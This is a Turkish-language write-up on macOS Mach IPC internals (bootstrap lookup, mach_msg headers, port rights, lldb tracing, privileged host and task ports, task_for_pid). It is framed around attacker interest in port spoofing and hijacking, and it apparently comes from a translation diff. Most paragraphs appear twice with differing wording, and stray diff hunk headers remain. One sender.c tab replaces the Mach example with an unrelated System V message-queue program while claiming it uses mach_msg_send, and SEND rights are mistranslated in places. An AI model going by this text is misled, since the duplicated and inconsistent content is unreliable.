Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar. Bu dosyalar, **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında, **ilişkili ikili dosya da saklanır**. Başlangıç sunucusu, bu hizmet adları için her biri için bir **ALMA hakkı oluşturur ve saklar**.
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar, bu dosyalar **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında **ilişkili ikili dosya da saklanır**. Başlangıç sunucusu, bu hizmet adları için **her biri için bir ALMA hakkı oluşturur ve saklar**.
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı aranırken, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şöyle:
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şöyle işler:
* Görev **B**, bir hizmet adı için başlangıç **araması başlatır**.
* Görev **B**, bir hizmet adı için bir başlangıç **araması başlatır**.
* **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**.
* Görev **A** (hizmet), bir **başlangıç kontrolü gerçekleştirir** (`bootstrap_check_in()`). Burada, **başlangıç sunucusu bir GÖNDERME hakkı oluşturur, saklar ve ALMA hakkını Görev A'ya aktarır**.
* Görev **A** (hizmet), bir **başlangıç kontrolü gerçekleştirir** (`bootstrap_check_in()`). Burada, **başlangıç** sunucusu bir GÖNDERME hakkı oluşturur, saklar ve **ALMA hakkını Görev A'ya aktarır**.
* launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye iletir**.
* Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir** (hizmet), böylece Görev A, GÖREV B'ye mesaj gönderebilir (iki yönlü iletişim).
* Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı olan yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir** (hizmet), böylece Görev A, Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler hala önceki şekilde çalışır, bu da taklit edilme olasılığına izin verebilir.
Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler hala önceki şekilde çalışır, bu da potansiyel olarak taklit edilmesine izin verebilir.
{% hint style="danger" %}
Bu nedenle, launchd asla çökmemeli veya tüm sistem çökecektir.
@ -86,7 +86,7 @@ Bu nedenle, launchd asla çökmemeli veya tüm sistem çökecektir.
[Daha fazla bilgiyi burada bulabilirsiniz](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg` işlevi, temelde bir sistem çağrısı olup Mach iletilerini göndermek ve almak için kullanılır. İşlev, iletilmesi gereken iletiyi başlangıç argümanı olarak gerektirir. Bu ileti, bir `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek ileti içeriği gelmelidir. Yapı aşağıdaki gibi tanımlanmıştır:
`mach_msg` işlevi, temelde bir sistem çağrısı olan Mach iletilerini göndermek ve almak için kullanılır. İşlev, iletilmesi gereken iletiyi başlangıç argümanı olarak gerektirir. Bu ileti, bir `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek ileti içeriği gelmelidir. Yapı aşağıdaki gibi tanımlanmıştır:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -97,15 +97,15 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
İşlemciler, bir Mach bağlantı noktasında ileti almak için bir _**alma hakkına**_ sahip olabilirler. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkına**_ sahiptir. Bir kez gönderme hakkı, yalnızca bir ileti göndermek için kullanılır ve ardından geçersiz hale gelir.
İşlemciler, bir Mach bağlantı noktasında ileti alabilen bir _**alma hakkına**_ sahip olabilirler. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkına**_ sahiptir. Bir kez gönderme hakkı, yalnızca bir ileti göndermek için kullanılır ve ardından geçersiz hale gelir.
Başlangıç alanı **`msgh_bits`** bir bit haritasıdır:
* İlk bit (en anlamlı) bir ileti'nin karmaşık olduğunu belirtmek için kullanılır (aşağıda daha fazla bilgi)
* İlk bit (en anlamlı) bir iletişimin karmaşık olduğunu belirtmek için kullanılır (aşağıda daha fazla bilgi)
* 3. ve 4. bitler çekirdek tarafından kullanılır
* 2. baytın **en az 5 anlamlı bitsi** **makbuz** için kullanılabilir: anahtar/değer kombinasyonları göndermek için başka bir bağlantı nokta türü.
* 3. baytın **en az 5 anlamlı bitsi** **yerel bağlantı noktası** için kullanılabilir
* 4. baytın **en az 5 anlamlı bitsi** **uzak bağlantı noktası** için kullanılabilir
* 2. baytın **en az 5 anlamlı biti**, **makbuz** için kullanılabilir: anahtar/değer kombinasyonları göndermek için başka bir bağlantı nokta türü.
* 3. baytın **en az 5 anlamlı biti**, **yerel bağlantı noktası** için kullanılabilir
* 4. baytın **en az 5 anlamlı biti**, **uzak bağlantı noktası** için kullanılabilir
Makbuzda, yerel ve uzak bağlantı noktalarında belirtilebilecek türler [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) adresinden alınabilir:
```c
@ -120,32 +120,32 @@ Makbuzda, yerel ve uzak bağlantı noktalarında belirtilebilecek türler [**mac
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
```
Örneğin, `MACH_MSG_TYPE_MAKE_SEND_ONCE`, bu bağlantı noktası için türetilmiş ve aktarılmış bir **tek seferlik gönderme hakkının** belirtildiğini **belirtmek** için kullanılabilir. Alıcı yanıt göndermesin diye `MACH_PORT_NULL` da belirtilebilir.
Örneğin, `MACH_MSG_TYPE_MAKE_SEND_ONCE`, bu bağlantı noktası için türetilmiş ve aktarılmış bir **tek seferlik gönderme hakkının** belirtildiğini göstermek için kullanılabilir. Alıcı yanıt göndermesin diye `MACH_PORT_NULL` belirtilebilir.
Kolay **iki yönlü iletişim** sağlamak için bir işlem, _yanıt bağlantı noktası_ (**`msgh_local_port`**) olarak adlandırılan bir **mach bağlantı noktası** belirtebilir, burada mesajın alıcısı bu iletiye yanıt gönderebilir.
Kolay **iki yönlü iletişim** sağlamak için bir işlem, _yanıt bağlantı noktası_ (**`msgh_local_port`**) olarak adlandırılan bir **mach bağlantı noktası** belirtebilir, burada mesajın alıcısı bu mesaja yanıt gönderebilir.
{% hint style="success" %}
Bu tür iki yönlü iletişimin XPC iletilerinde kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle farklı bağlantı noktaları oluşturulur, önceki açıklandığı gibi iki yönlü iletişimi oluşturmak için.
Bu tür iki yönlü iletişimin XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle farklı bağlantı noktaları oluşturulur, önceki açıklamalarda belirtildiği gibi iki yönlü iletişimi oluşturmak için.
{% endhint %}
Mesaj başlığının diğer alanları şunlardır:
- `msgh_size`: tüm paketin boyutu.
- `msgh_remote_port`: bu iletiyi gönderilen bağlantı noktası.
- `msgh_remote_port`: bu mesajın gönderildiği bağlantı noktası.
- `msgh_voucher_port`: [mach fişleri](https://robert.sesek.com/2023/6/mach\_vouchers.html).
- `msgh_id`: alıcı tarafından yorumlanan bu ileti ID'si.
- `msgh_id`: bu mesajın kimliği, alıcı tarafından yorumlanır.
{% hint style="danger" %}
**Mach iletileri**, mach çekirdeğine yerleştirilmiş **tek alıcı**, **çoklu gönderen** iletişim kanalı olan bir **mach bağlantı noktası** üzerinden gönderilir. **Birden fazla işlem**, bir mach bağlantı noktasına **ileti gönderebilir**, ancak herhangi bir zamanda sadece **bir işlem** ondan okuyabilir.
**Mach mesajları**, mach çekirdeğine yerleştirilmiş **tek alıcı**, **çoklu gönderen** iletişim kanalı olan bir `mach bağlantı noktası` üzerinden gönderilir. **Birden fazla işlem**, bir mach bağlantı noktasına **mesaj gönderebilir**, ancak herhangi bir zamanda sadece **bir işlem okuyabilir**.
{% endhint %}
İletiler daha sonra **`mach_msg_header_t`** başlığı, ardından **gövde** ve **trailer** (varsa) ile oluşturulur ve yanıt verme izni verebilir. Bu durumlarda, çekirdek sadece mesajı bir görevden diğerine iletmelidir.
Mesajlar daha sonra **`mach_msg_header_t`** başlık, ardından **gövde** ve **trailer** (varsa) ile oluşturulur ve yanıt verme izni verebilir. Bu durumlarda, çekirdek sadece mesajı bir görevden diğerine iletmelidir.
Bir **trailer**, **kullanıcı tarafından ayarlanamayan** mesaja çekirdek tarafından eklenen bilgilerdir ve alıcıdan bu bilgileri talep etmek için `MACH_RCV_TRAILER_<trailer_opt>` bayrakları kullanılabilir (talep edilebilecek farklı bilgiler vardır).
**Trailer**, **çekirdek tarafından mesaja eklenen bilgilerdir** (kullanıcı tarafından ayarlanamaz) ve mesaj alımında `MACH_RCV_TRAILER_<trailer_opt>` bayrakları ile istenebilir (istenebilecek farklı bilgiler vardır).
#### Karmaşık İletiler
#### Karmaşık Mesajlar
Ancak, ek port hakları geçiren veya belleği paylaşan daha **karmaşık** iletiler gibi diğer iletiler de vardır, burada çekirdek bu nesneleri alıcıya göndermek zorundadır. Bu durumlarda, başlık `msgh_bits`'in en anlamlı biti ayarlanır.
Ancak, ek port hakları geçiren veya belleği paylaşan daha **karmaşık** mesajlar gibi durumlar vardır, burada çekirdek bu nesneleri de alıcıya göndermelidir. Bu durumlarda, başlık `msgh_bits`'in en anlamlı biti ayarlanır.
Geçirilebilecek olası tanımlayıcılar [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) içinde tanımlanmıştır.
```c
@ -166,22 +166,22 @@ mach_msg_descriptor_type_t type : 8;
```
### Mac Port API'leri
Portların görev alanıyla ilişkilendirildiğini unutmayın, bu nedenle bir port oluşturmak veya aramak için görev alanı da sorgulanır (`mach/mach_port.h` içinde daha fazla bilgi):
Portların görev alanı ile ilişkilendirildiğini unutmayın, bu nedenle bir port oluşturmak veya aramak için görev alanı da sorgulanır (`mach/mach_port.h` içinde daha fazla bilgi):
- **`mach_port_allocate` | `mach_port_construct`**: Bir port oluşturur.
- `mach_port_allocate` ayrıca bir **port seti** oluşturabilir: bir grup port üzerinde alım hakkı. Bir ileti alındığında, iletiyi gönderen port belirtilir.
- `mach_port_allocate` ayrıca bir **port seti** oluşturabilir: bir grup port üzerinde alım hakkı. Bir mesaj alındığında, mesajın nereden geldiği belirtilir.
- `mach_port_allocate_name`: Portun adını değiştirir (varsayılan olarak 32 bitlik tamsayı).
- `mach_port_names`: Bir hedeften port adlarını alır.
- `mach_port_type`: Bir görevin bir ada sahip olma haklarını alır.
- `mach_port_rename`: Bir portu yeniden adlandırır (FD'ler için dup2 gibi).
- `mach_port_rename`: Bir portun adını değiştirir (FD'ler için dup2 gibi).
- `mach_port_allocate`: YENİ ALIM, PORT_SET veya DEAD_NAME oluşturur.
- `mach_port_insert_right`: ALIM hakkına sahip olduğunuz bir portta yeni bir hak oluşturur.
- `mach_port_...`
- **`mach_msg`** | **`mach_msg_overwrite`**: Mach iletilerini **göndermek ve almak** için kullanılan işlevler. Üzerine yazma sürümü, ileti alımı için farklı bir önbellek belirtmenizi sağlar (diğer sürüm sadece onu yeniden kullanır).
- **`mach_msg`** | **`mach_msg_overwrite`**: Mach mesajları göndermek ve almak için kullanılan işlevler. Üzerine yazma sürümü, mesaj alımı için farklı bir tampon belirtmeyi sağlar (diğer sürüm sadece onu yeniden kullanır).
### Debug mach\_msg
### Debug mach_msg
**`mach_msg`** ve **`mach_msg_overwrite`** işlevlerinin ileti göndermek ve almak için kullanılan işlevler olduğu için bunlara bir kesme noktası ayarlamak gönderilen ve alınan iletileri incelemeyi sağlar.
`mach_msg` ve `mach_msg_overwrite` işlevlerinin gönderme ve alma işlemlerinde kullanıldığı için bunlara bir kesme noktası ayarlamak, gönderilen ve alınan mesajları incelemeyi sağlar.
Örneğin, bu işlevi kullanan **`libSystem.B`'yi yükleyecek herhangi bir uygulamayı hata ayıklamaya başlayın**.
@ -189,7 +189,7 @@ Portların görev alanıyla ilişkilendirildiğini unutmayın, bu nedenle bir po
</strong>Kesme Noktası 1: nerede = libsystem_kernel.dylib`mach_msg, adres = 0x00000001803f6c20
<strong>(lldb) r
</strong>İşlem 71019 başlatıldı: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
İşlem 71019 durduruldu
İşlem 71019 durdu
* thread #1, queue = 'com.apple.main-thread', duraklama nedeni = kesme noktası 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
@ -212,7 +212,7 @@ frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&#x26;) const::$_0::operator()() const + 168
</code></pre>
**`mach_msg`**'nin argümanlarını almak için kayıtları kontrol edin. Bunlar argümanlardır ([mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) adresinden):
**`mach_msg`**'nin argümanlarını almak için kayıtları kontrol edin. Bu argümanlar şunlardır ([mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) adresinden):
```c
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
@ -235,7 +235,7 @@ x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)
```
İlk argümanı kontrol ederek mesaj başlığını inceleyin:
İlk argümanı kontrol ederek ileti başlığını inceleyin:
```armasm
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
@ -248,7 +248,7 @@ x6 = 0x0000000000000000 ;mach_port_name_t (notify)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)
```
O tür `mach_msg_bits_t` türü, bir yanıtı izin vermek için çok yaygındır.
O tür `mach_msg_bits_t`, bir yanıtı izin vermek için çok yaygındır.
@ -276,19 +276,19 @@ name ipc-object rights flags boost reqs recv send sonce oref q
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]
```
**İsim**, bağlantı noktasına verilen varsayılan isimdir (ilk 3 baytının nasıl **arttığını** kontrol edin). **`ipc-object`** ise bağlantı noktasının **şifrelenmiş** benzersiz **tanımlayıcısıdır**.\
**İsim**, bağlantı noktasına verilen varsayılan isimdir (ilk 3 baytın nasıl **arttığını** kontrol edin). **`ipc-object`** ise bağlantı noktasının **şifrelenmiş** benzersiz **tanımlayıcısıdır**.\
Ayrıca, yalnızca **`send`** hakkına sahip bağlantı noktalarının sahibini belirlediğine dikkat edin (bağlantı noktası adı + pid).\
Ayrıca, **diğer görevlere bağlı olanı** belirtmek için **`+`** işaretinin kullanımına dikkat edin.
Ayrıca, **diğer görevleri belirtmek** için **`+`** işaretinin kullanımına dikkat edin.
Ayrıca, [**procesxp**](https://www.newosxbook.com/tools/procexp.html) kullanarak **kayıtlı hizmet adlarını** (SIP devre dışı bırakıldığında `com.apple.system-task-port` gerektiği için) görmek de mümkündür:
Ayrıca, [**procesxp**](https://www.newosxbook.com/tools/procexp.html) kullanarak **kayıtlı hizmet adlarını** (SIP devre dışı bırakıldığında `com.apple.system-task-port` gerektiğinden) görmek de mümkündür:
```
procesp 1 ports
```
Bu aracı iOS'ta [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) adresinden indirerek yükleyebilirsiniz.
iOS'ta bu aracı indirerek yükleyebilirsiniz [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Kod örneği
**Gönderici**nin nasıl bir bağlantı noktası tahsis ettiğine, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğuna ve bunu **önyükleme sunucusuna** gönderdiğine dikkat edin, gönderici bu adın **gönderme hakkını** istedi ve bunu kullanarak bir **mesaj gönderdi**.
**Gönderici**nin nasıl bir bağlantı noktası **ayırdığını**, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğuna ve bunu **önyükleme sunucusuna** gönderdiğine dikkat edin, gönderici bu ad için **gönderme hakkını** istedi ve bunu kullanarak bir **mesaj gönderdi**.
{% tabs %}
{% tab title="receiver.c" %}
@ -359,50 +359,19 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
```
{% endtab %}
{% tab title="sender.c" %}
{% tab title="sender.c" %}Dosya Açıklaması
----------------
## macOS IPC (Inter-Process Communication)
Bu C dosyası, bir IPC (İşlem Arası İletişim) mekanizması olan `Mach message` kullanarak bir mesaj gönderen basit bir programı içerir.
Bu örnek, bir mesaj kuyruğu üzerinden basit bir IPC (Inter-Process Communication - İşlem Arası İletişim) senaryosunu göstermektedir. Bu senaryoda, bir gönderen işlemi bir mesaj kuyruğuna mesaj gönderir ve bir alıcı işlemi bu mesajı alır.
Kod Açıklaması
--------------
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
- İlk olarak, `mach/mach.h` başlık dosyası dahil edilir.
- `main` fonksiyonunda, bir `mach_msg_header_t` başlığı oluşturulur ve başlık alanları ayarlanır.
- Ardından, bir mesaj oluşturulur ve `mach_msg_send` fonksiyonu kullanılarak mesaj gönderilir.
#define MAX_MSG_SIZE 80
struct msg_buffer {
long msg_type;
char msg_text[MAX_MSG_SIZE];
};
int main() {
key_t key;
int msg_id;
struct msg_buffer message;
key = ftok("/tmp", 'A');
msg_id = msgget(key, 0666 | IPC_CREAT);
message.msg_type = 1;
strcpy(message.msg_text, "Bu bir IPC mesajıdır.");
msgsnd(msg_id, &message, sizeof(message), 0);
printf("Mesaj gönderildi: %s\n", message.msg_text);
return 0;
}
```
Bu örnekte, `ftok` fonksiyonu kullanılarak bir anahtar oluşturulur ve `msgget` ile bir mesaj kuyruğu oluşturulur. Daha sonra `msgsnd` ile mesaj gönderilir.
{% endtab %}
Bu program, IPC mekanizmalarını anlamak ve kullanmak için basit bir örnek sunar. {% endtab %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
@ -459,76 +428,109 @@ printf("Sent a message\n");
## Ayrıcalıklı Bağlantı Noktaları
Belirli hassas eylemleri gerçekleştirmeye veya belirli hassas verilere erişmeye izin veren bazı özel bağlantı noktaları vardır, görevlerin bunlar üzerinde **GÖNDERME** izinlerine sahip olması durumunda. Bu, saldırganlar açısından bu bağlantı noktalarını çok ilginç kılar, sadece yeteneklerinden değil, aynı zamanda **GÖNDERME izinlerinin görevler arasında paylaşılabilmesi** olasılığından dolayı.
Belirli hassas eylemleri gerçekleştirmeye veya belirli hassas verilere erişmeye izin veren bazı özel bağlantı noktaları vardır, bir görevin üzerlerinde **GÖNDERME** izinlerine sahip olması durumunda. Bu, saldırganlar açısından bu bağlantı noktalarını sadece yetenekleri değil, aynı zamanda **GÖNDERME izinlerini görevler arasında paylaşmak** mümkün olduğu için çok ilginç hale getirir.
### Ana Özel Bağlantı Noktaları
### Ana Bilgisayar Özel Bağlantı Noktaları
Bu bağlantı noktaları bir numara ile temsil edilir.
**GÖNDERME** hakları, **`host_get_special_port`** çağrısı ile elde edilebilir ve **ALMA** hakları **`host_set_special_port`** çağrısı ile elde edilir. Ancak, her iki çağrı da yalnızca kökün erişebileceği **`host_priv`** bağlantı noktasını gerektirir. Ayrıca, geçmişte kök, örneğin `HOST_KEXTD_PORT`'u ele geçirerek kod imzalarını atlamaya izin veren keyfi bağlantı noktalarını ele geçirebiliyordu (SIP şimdi buna engel oluyor).
**GÖNDERME** hakları, **`host_get_special_port`** çağrısı ile elde edilebilir ve **ALMA** hakları **`host_set_special_port`** çağrısı ile elde edilir. Ancak, her iki çağrı da yalnızca kökün erişebileceği **`host_priv`** bağlantı noktasını gerektirir. Ayrıca, geçmişte kök, örneğin `HOST_KEXTD_PORT`'u ele geçirerek kod imzalarını atlayarak izin veren keyfi bağlantı noktalarını ele geçirebiliyordu (SIP şimdi buna engel oluyor).
Bunlar 2 gruba ayrılır: **İlk 7 bağlantı noktası çekirdek tarafından sahiplenilir**; 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` ve 7 `HOST_MAX_SPECIAL_KERNEL_PORT`.
Bunlar 2 gruba ayrılır: **İlk 7 bağlantı noktası çekirdek tarafından sahiplenilir**; 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` ve 7 `HOST_MAX_SPECIAL_KERNEL_PORT`'dur.\
**8'den** başlayanlar ise **sistem hizmetlileri tarafından sahiplenilir** ve [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html) dosyasında tanımlanmıştır.
**8'den başlayanlar ise sistem hizmetlileri tarafından sahiplenilir** ve [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html) dosyasında tanımlanmıştır.
* **Ana bağlantı noktası**: Bir işlem bu bağlantı noktası üzerinde **GÖNDERME** ayrıcalığına sahipse, sistem hakkında bilgi alabilir ve aşağıdaki işlevlerini çağırabilir:
* **Ana bilgisayar bağlantı noktası**: Bir işlem bu bağlantı noktası üzerinde **GÖNDERME** ayrıcalığına sahipse, sistem hakkında bilgi alabilir ve aşağıdaki rutinlerini çağırarak işlemlerini gerçekleştirebilir:
* `host_processor_info`: İşlemci bilgilerini al
* `host_info`: Ana bilgiyi al
* `host_info`: Ana bilgisayar bilgilerini al
* `host_virtual_physical_table_info`: Sanal/Fiziksel sayfa tablosu (MACH\_VMDEBUG gerektirir)
* `host_statistics`: Ana istatistikleri al
* `host_statistics`: Ana bilgisayar istatistiklerini al
* `mach_memory_info`: Çekirdek bellek düzenini al
* **Ana Priv bağlantı noktası**: Bu bağlantı noktası üzerinde **GÖNDERME** hakkına sahip bir işlem, örneğin önyükleme verilerini gösterme veya bir çekirdek uzantısını yükleme girişiminde bulunma gibi **ayrıcalıklı eylemler gerçekleştirebilir**. Bu izne sahip olmak için **işlemin kök olması** gerekir.
* **Ana bilgisayar Ayrıcalıklı bağlantı noktası**: Bu bağlantı noktası üzerinde **GÖNDERME** hakkına sahip bir işlem, örneğin önyükleme verilerini gösterme veya bir çekirdek uzantısını yükleme girişiminde bulunma gibi **ayrıcalıklı eylemler gerçekleştirebilir**. Bu izne sahip olmak için **işlemin kök olması** gerekir.
* Ayrıca, **`kext_request`** API'sını çağırmak için yalnızca Apple ikililerine verilen **`com.apple.private.kext*`** diğer ayrıcalıklara ihtiyaç vardır.
* Çağrılabilen diğer işlevler şunlardır:
* Çağrılabilen diğer rutinler şunlardır:
* `host_get_boot_info`: `machine_boot_info()`'yu al
* `host_priv_statistics`: Ayrıcalıklı istatistikleri al
* `vm_allocate_cpm`: Ardışık Fiziksel Bellek Ayır
* `host_processors`: İşlemcilere gönderme hakkı
* `mach_vm_wire`: Belleği yerleşik yap
* **Kök** bu izne erişebildiği için, `host_set_[special/exception]_port[s]`'ı çağırarak **ana özel veya istisna bağlantı noktalarını ele geçirebilir**.
* **Kök** bu izne erişebildiği için, `host_set_[special/exception]_port[s]`'ı çağırarak **ana bilgisayar özel veya istisna bağlantı noktalarını ele geçirebilir**.
Tüm ana özel bağlantı noktalarını görmek mümkündür:
Tüm ana bilgisayar özel bağlantı noktalarını görmek mümkündür:
```bash
procexp all ports | grep "HSP"
```
### Görev Özel Portları
Bunlar, tanınmış hizmetler için ayrılmış portlardır. Onları `task_[get/set]_special_port` çağırarak almak/ayarlamak mümkündür. `task_special_ports.h` dosyasında bulunabilirler:
```c
typedef int task_special_port_t;
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
world.*/
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
```
[Buradan](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html):
* **TASK\_KERNEL\_PORT**\[görev-kendisi gönderme hakkı]: Bu görevi kontrol etmek için kullanılan bağlantı noktası. Görevi etkileyen mesajları göndermek için kullanılır. Bu, **mach\_task\_self (aşağıdaki Görev Bağlantı Noktaları'na bakınız)** tarafından döndürülen bağlantı noktasıdır.
* **TASK\_BOOTSTRAP\_PORT**\[başlatıcı gönderme hakkı]: Görevin başlatıcı bağlantı noktası. Diğer sistem hizmeti bağlantı noktalarının geri dönüşünü istemek için kullanılır.
* **TASK\_HOST\_NAME\_PORT**\[ana-görev gönderme hakkı]: İçeren ana bilgisayarın bilgilerini istemek için kullanılan bağlantı noktası. Bu, **mach\_host\_self** tarafından döndürülen bağlantı noktasıdır.
* **TASK\_WIRED\_LEDGER\_PORT**\[defter gönderme hakkı]: Bu görevin kablolu çekirdek belleğini çektiği kaynağı adlandıran bağlantı noktası.
* **TASK\_PAGED\_LEDGER\_PORT**\[defter gönderme hakkı]: Bu görevin varsayılan belleği yönetilen belleğini çektiği kaynağı adlandıran bağlantı noktası.
### Görev Bağlantı Noktaları
Başlangıçta Mach'ta "işlemler" değil, "görevler" vardı ve bu daha çok bir thread konteyneri olarak kabul ediliyordu. Mach, BSD ile birleştirildiğinde **her görev bir BSD işlemi ile ilişkilendirildi**. Bu nedenle her BSD işleminin bir işlem olması için gereken detayları ve her Mach görevinin de iç işleyişi vardır (kernel_task hariç olan mevcut pid 0).
Başlangıçta Mach'ta "işlemler" değil "görevler" vardı ve bu daha çok bir iş parçacığı konteyneri olarak kabul ediliyordu. Mach, BSD ile birleştirildiğinde **her görev bir BSD işlemiyle ilişkilendirildi**. Bu nedenle her BSD işleminin bir işlem olması için gereken ayrıntılara sahip olması ve her Mach görevinin de iç işleyişi olması (kernel_task olan mevcut pid 0 hariç).
Bununla ilgili iki çok ilginç fonksiyon bulunmaktadır:
Bununla ilgili iki çok ilginç işlev bulunmaktadır:
* `task_for_pid(hedef_görev_bağlantı_noktası, pid, &pid_ile_ilgili_görev_bağlantı_noktası)`: Belirtilen `pid` ile ilişkili görevin görev bağlantı noktası için bir GÖNDERME hakkı alın ve belirtilen `hedef_görev_bağlantı_noktası`'na (genellikle `mach_task_self()` kullanan çağrıcı görev olur, ancak farklı bir görev üzerinde bir GÖNDERME bağlantı noktası da olabilir) verin.
* `pid_for_task(görev, &pid)`: Bir göreve bir GÖNDERME hakkı verildiğinde, bu görevin hangi PID ile ilişkili olduğunu bulun.
* `task_for_pid(hedef_görev_bağlantı_noktası, pid, &pid_li_görev_bağlantı_noktası)`: Belirtilen `pid` ile ilişkilendirilen görev bağlantı noktası için BİRİM hakkı alın ve genellikle `mach_task_self()` kullanan çağrılan görev bağlantı noktasına (ancak farklı bir görev üzerinde bir GÖNDERİM bağlantı noktası olabilir) verilir.
* `pid_for_task(görev, &pid)`: Bir göreve BİRİM hakkı verildiğinde, bu görevin hangi PID ile ilişkili olduğunu bulun.
Görev içinde işlemler gerçekleştirmek için görevin kendisine `mach_task_self()` çağrısı yaparak bir `GÖNDERME` hakkına ihtiyacı vardı (bu, `task_self_trap` (28) kullanır). Bu izinle bir görev, birkaç işlemi gerçekleştirebilir:
Görev içinde işlemler gerçekleştirmek için görevin kendine `mach_task_self()` çağrısı yaparak BİRİM hakkına ihtiyacı vardı (bu, `task_self_trap` (28) kullanır). Bu izinle bir görev, aşağıdaki gibi çeşitli işlemleri gerçekleştirebilir:
* `task_threads`: Görevin iş parçacıklarının tüm görev bağlantı noktaları üzerinde GÖNDERME hakkı alın
* `task_threads`: Görevin iş parçacıklarının tüm görev bağlantı noktaları üzerinde BİRİM hakkı alın
* `task_info`: Bir görev hakkında bilgi alın
* `task_suspend/resume`: Bir görevi askıya alın veya devam ettirin
* `task_[get/set]_special_port`
* `thread_create`: Bir iş parçacığı oluşturun
* `thread_create`: Bir iş parçacığı oluştur
* `task_[get/set]_state`: Görev durumunu kontrol edin
* ve daha fazlası [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h) içinde bulunabilir.
* ve daha fazlası [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h) içinde bulunabilir
{% hint style="danger" %}
Farklı bir görevin görev bağlantı noktası üzerinde bir GÖNDERME hakkı ile, farklı bir görev üzerinde böyle işlemler gerçekleştirmek mümkündür.
